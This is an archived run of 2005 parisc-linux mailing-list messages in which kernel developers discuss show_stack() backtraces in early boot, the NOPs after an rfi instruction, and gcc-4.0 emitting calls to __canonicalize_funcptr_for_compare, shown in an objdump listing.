List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: W/sFYjpVeSEkSL6WZHQhaXN1IGRvb0CR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22696

Hello Randolph,

>
> > Here is my new proposal to attempt to fix the show_stack() bug in the=

early
>
> > boot stage:
>
> Can you explain again what is the problem you are seeing?
Well all came from the fact that my b2k was runing fine a 2.6 64bit (quie=
t
more stable then 32bit twin kernel) and a day I read I mail (iirc from tb=
one)
speaking about DEBUG_SLAB.
I would so try it to attempt to reproduce its pb.

Effectively, under heavy stress condition this same 64bit kernel +  DEBUG=
_SLAB
made panicing the system.
What was anoying: there was no Backtrace?

The analyse of piminfo learned me that the system did a hpmc so why no Ba=
cktrace?

Another case was when I attempted to study the irq (enable/disable) statu=
s
(if I well undestand the PSW I bit) along the boot of our parisc-linux (s=
till
on going :-) ).
I also remember of the willy's patch: "Remove spurious BUG_ON()."
<http://cvs.parisc-linux.org/linux-2.6/kernel/posix-cpu-timers.c?r1=3D1.2=
&r2=3D1.3>

I thought so that it could be interesting to replace the BUG_ON() by a WA=
RN_ON()
to start.

Even thought that was just a warning the system panicing also whithout an=
y
Backtrace?

Then I have a look and found a possible way which could explain this pb:
BUG_ON (for parisc) as well as WARN_ON() -> dump_stack() -> show_stack()
-> kmalloc() (as *task =3D=3D NULL)
OTH (for some run path) kmalloc() -> __kmalloc() -> kmem_find_genral_cach=
ep()->
BUG_ON() (when DEBUG_SLAB is selected)

> Is it because
> of stack overflow? calls to kmalloc()?
>
so imho there are at least a possibility of calls of kmalloc() in loop?

> > +struct unwind_frame_regs {
> > +       unsigned long sp, ip, rp, r31;
> > +};
>
> this is better, although i am still not very clear why we can't just us=
e
> pt_regs.
>
Just because pt_regs struct would use many place (around 0.7k) for just u=
sefull
32bytes (64bit kernel).
(mmm may be oldfashion but at school I learned basis of asm on a 8088 tes=
ting
board with a lot of 4k of ram ;-) ...)

> > +#define UFI_REGS_BUF_MAX       128     /* about 4k for LP64 */
> > +extern struct unwind_frame_regs ufi_regs_buf[UFI_REGS_BUF_MAX];
> > +extern unsigned int ufi_regs_buf_i;
>
> this seems to be used to handle recursive calls to show_stack(), is tha=
t
> right? why do we want to call show_stack() recursively?
>
I thought more to insure some kind of re-intrance (may be not the right w=
ay?).

> i'm not sure why you want to put this array as a global variable. what'=
s
> wrong with putting it on the stack of show_stack()?
>
Willy seems to dis-like this solution:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2005-April/026315.h=
tml>
(imho make sense?)

> > +#if 0   /* FIXME: not used */
> >  void unwind_frame_init_running(struct unwind_frame_info *info, struc=
t
>
> >  pt_regs *regs);
> > +#endif
>
> please fix this. this function is useful e.g. for kdb.
>
Oops I missed sorry (I will check that as soon as we agreed a common solu=
tion).

Thanks,
    Joel

PS: I still need to check the DEBUG_SLAB case; but already help to get mo=
re
backtrace in the second example (eventhought it dramaticaly slow down the=

boot).
It also also help me about that 'ext3' pb encountered with 32bit kernel o=
n
b180 and b2k by showing me now the same Backtrace :-) (previously on b180=
,
it was showing apparently a truncated backtrace, making thought to a diff=
erent
pb)  


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: yet another ssm/rsm/rfi question [Was: [parisc-linux] head.S: a
Date: Tue, 3 May 2005 13:40:06 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200505031740.j43He6jI005240@hiauly1.hia.nrc.ca>
References: <20050503172353.GA23515@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623779 14493 80.91.229.3 (22 Nov 2014 02:36:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2005 17:40:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 03 May 2005 19:40:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F06CC7D694;
	Tue,  3 May 2005 11:40:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04089-08; Tue, 3 May 2005 11:40:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66EA77D696;
	Tue,  3 May 2005 11:40:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 183C07D68F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 11:40:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04108-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 May 2005 11:40:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 80ABE7D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 11:40:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j43He7hF005241; Tue, 3 May 2005 13:40:07 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j43He6jI005240;
	Tue, 3 May 2005 13:40:06 -0400 (EDT)
In-Reply-To: <20050503172353.GA23515@colo.lackof.org> from "Grant Grundler" at
	May 3, 2005 11:23:53 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2tIFYk86eSEkN76WZHQhaXN1IGRvbwCf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22697

> > but I am surprised to not find the 8 nops between rfi and label.
> 
> AFAICT, the NOPs are pointless. The RFI better not return or we
> have more serious problems (e.g. HW failure).

Same here.  On the otherhand, the might have been added to avoid
problems with the instruction pipeline when executing an rfi.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Tue, 3 May 2005 17:58:03 +0000
Lines: 189
Approved: news@gmane.org
Message-ID: <426F252F00002E4D@mail-1-bnl.tiscali.it>
References: <200505031334.j43DYRBT004104@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623779 14495 80.91.229.3 (22 Nov 2014 02:36:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:19 +0000 (UTC)
Cc: lamont@debian.org,
 parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2005 17:58:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 03 May 2005 19:58:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 916FB7D6A2;
	Tue,  3 May 2005 11:58:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04442-05; Tue, 3 May 2005 11:58:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F8B67D699;
	Tue,  3 May 2005 11:58:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12BA07D694
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 11:58:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04108-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 May 2005 11:58:13 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 20E897D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 11:58:13 -0600 (MDT)
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43)
	id 1DT1en-0007KU-BC; Tue, 03 May 2005 19:58:05 +0200
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Tue, 3 May 2005 19:58:03 +0200
In-Reply-To: <200505031334.j43DYRBT004104@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YdkFYmMheSEkQL6WZHQhaXN1IGRvb0Cb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22698


> > > The problem code is in fs/select.c:
> > > 
> > >                 for (j=3D0; j < walk->len; j++, ufds++) {
> > > 			if(__put_user(fds[j].revents, &ufds->revents))
> > > 				goto out_fds;
> > > 		}
> > > 
> > > The sth is in the __put_user code.
> > > 
> > Ah I see, just need to recover your lastest patch as basic work (I tr=
usted
> > that I laready tested it here at the office, but no trace: may be on
the
> > system n4k down for now :-( )
> 
> No, I don't believe it will fix the problem as it doesn't affect
> the transfer of shorts.
> 
> It's not clear why the insn is causing a protection fault.  A bad
> pointer could of been passed to the kernel, or the kernel has done
> something bad.
> 
Thanks.

Btw, I reach to install gcc-4.0-pre9 experimental pre-build dpkg and comp=
ile
kernel ;-)
unfortunately:
# grep canon vmlinux-gcc4.dmp
10111a68 <__canonicalize_funcptr_for_compare>:
101271d4:       eb f5 b1 19     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
101271e4:       eb f5 b0 f9     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10127230:       eb f5 b0 61     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10127240:       eb f5 b0 41     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10128c7c:       eb f4 bb c9     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10128c88:       eb f4 bb b1     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1013380c:       eb ef a4 a9     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10133818:       eb ef a4 91     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
101347e8:       eb ee a4 f5     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
101347f4:       eb ee a4 dd     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
101349bc:       eb ee a1 4d     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
101349c8:       eb ee a1 35     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1013580c:       eb ee a4 a9     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10135818:       eb ee a4 91     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10135afc:       eb ed be cd     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10135b08:       eb ed be b5     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10135c20:       eb ed bc 85     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10135c2c:       eb ed bc 6d     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10136ea4:       eb ed b7 79     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10136eb0:       eb ed b7 61     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
101374bc:       eb ed ab 49     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
101374c8:       eb ed ab 31     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
101374e8:       eb ed aa f1     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
101374f4:       eb ed aa d9     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1013e5d0:       eb e9 a9 25     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1013e5dc:       eb e9 a9 0d     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1013e7ac:       eb e9 a5 6d     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1013e7b8:       eb e9 a5 55     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10169554:       eb d4 aa 19     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10169564:       eb d4 a9 f9     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
101a2584:       eb b7 a9 bd     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
101a2590:       eb b7 a9 a5     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1020ad2c:       eb 83 ba 69     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1020ad3c:       eb 83 ba 49     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
102217cc:       eb 78 a5 29     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
102217dc:       eb 78 a5 09     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1022183c:       eb 78 a4 49     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1022184c:       eb 78 a4 29     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10230c28:       eb 70 bc 71     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10230c34:       eb 70 bc 59     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1023199c:       eb 70 a1 89     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
102319a8:       eb 70 a1 71     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
102319d0:       eb 70 a1 21     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
102319dc:       eb 70 a1 09     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10232858:       eb 6f a4 15     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10232868:       eb 6f a3 f5     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10234e10:       eb 6e b8 a1     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10234e1c:       eb 6e b8 89     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10235354:       eb 6e ae 19     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10235364:       eb 6e ad f9     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10236958:       eb 6d a2 15     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10236968:       eb 6d a1 f5     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10255900:       eb 5e a2 c1     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10255910:       eb 5e a2 a1     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10255960:       eb 5e a2 01     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10255970:       eb 5e a1 e1     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10267860:       eb 55 a4 01     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10267870:       eb 55 a3 e1     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1028e64c:       eb 41 a8 2d     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1028e65c:       eb 41 a8 0d     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10294760:       eb 3e a6 05     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10294770:       eb 3e a5 e5     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1029718c:       eb 3d b1 a9     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
1029719c:       eb 3d b1 89     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
102c53c4:       eb 26 ad 39     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
102c53d0:       eb 26 ad 21     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
102ed42c:       eb 12 ac 69     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
102ed438:       eb 12 ac 51     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
102f3ab8:       eb 0e bf 55     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
102f3ac8:       eb 0e bf 35     b,l 10111a68 <__canonicalize_funcptr_for_=
compare>,%r2
10380978 <__ksymtab___canonicalize_funcptr_for_compare>:
1038542c <__kstrtab___canonicalize_funcptr_for_compare>:

this one doesn't seems to help me to get rid of those call __canonicalize=
_funcptr_for_compare().

Do you think that gcc-4.0 final release will help more?

Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Tue, 3 May 2005 15:00:33 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200505031900.j43J0XXG005722@hiauly1.hia.nrc.ca>
References: <426F252F00002E4D@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623779 14499 80.91.229.3 (22 Nov 2014 02:36:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:19 +0000 (UTC)
Cc: lamont@debian.org,
 parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2005 19:00:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 03 May 2005 21:00:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C6DC27D69F;
	Tue,  3 May 2005 13:00:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04726-05; Tue, 3 May 2005 13:00:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 326547D6A0;
	Tue,  3 May 2005 13:00:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D1737D680
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 13:00:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04703-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 May 2005 13:00:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E7A2C7D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 13:00:39 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j43J0YhF005724; Tue, 3 May 2005 15:00:34 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j43J0XXG005722;
	Tue, 3 May 2005 15:00:33 -0400 (EDT)
In-Reply-To: <426F252F00002E4D@mail-1-bnl.tiscali.it> from "Joel Soete" at May
	3, 2005 05:58:03 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: P68FYodgeSEkYL6WZHQhaXN1IGRvb4CX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22699

> 102f3ac8:       eb 0e bf 35     b,l 10111a68 <__canonicalize_funcptr_for_compare>,%r2
> 10380978 <__ksymtab___canonicalize_funcptr_for_compare>:
> 1038542c <__kstrtab___canonicalize_funcptr_for_compare>:
> 
> this one doesn't seems to help me to get rid of those call __canonicalize_funcptr_for_compare().

The only way to get rid of the calls is to not compare function pointers ;)

> Do you think that gcc-4.0 final release will help more?

No.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 05 May 2005 16:20:22 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <427A47C6.7060400@tiscali.be>
References: <200505022046.j42KkQnh000694@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623780 14502 80.91.229.3 (22 Nov 2014 02:36:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:20 +0000 (UTC)
Cc: lamont@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 May 2005 16:20:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
